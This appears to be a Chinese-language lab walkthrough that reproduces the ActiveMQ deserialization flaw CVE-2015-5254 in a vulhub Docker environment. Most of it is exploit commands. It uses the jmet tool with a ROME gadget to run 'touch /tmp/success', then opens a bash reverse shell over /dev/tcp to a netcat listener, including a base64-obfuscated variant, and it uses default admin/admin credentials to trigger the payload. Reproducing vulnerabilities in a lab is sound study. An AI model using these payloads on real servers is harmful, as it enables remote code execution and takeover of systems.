0x00 安装docker-compose

Ubuntu安装docker-compose

使用DaoCloud源下载

sudo curl -L https://get.daocloud.io/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose

设置权限

sudo chmod +x /usr/local/bin/docker-compose

0x01 启动漏洞环境

1、执行touch命令

首先将漏洞环境全部Git到服务器上

git clone https://github.com/vulhub/vulhub.git

随后进入到对应的目录即可

docker-compose up -d

随后会开始下载

随后可以看到漏洞环境已经启动成功

0x02 漏洞复现

下载提供的jmet进行漏洞利用

https://github.com/matthiaskaiser/jmet/releases/tag/0.1.0

随后执行

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME IP 61616

Tips: 如果使用的是云服务器，需要对应提供商后台放通安全组

随后访问WEB页面

http://ip:8161/admin/browse.jsp?JMSDestination=event

账号为admin 密码为admin

这里可以看到有一个事件，点击这个事件即可

可以看到已经执行了命令，新建了一个success文件

2、反弹shell

执行命令如下

值得注意的是，关于bash反弹shell的原理，有一篇文章非常推荐

https://www.cnblogs.com/bonelee/p/11021996.html

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/ip/1234 0>&1" -Yp ROME ip 61616

或者进行base编码

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,base64}|{base64,-d}|{bash,-i}" -Yp ROME ip 61616

访问WEB页面，我们可以看到新增了一个事件，点击事件即可，不过再次之前，我们需要使用nc监听1234端口

nc -lvp 1234

在点击事件后，我们成功获取到shell

0x03 参考

1、https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.md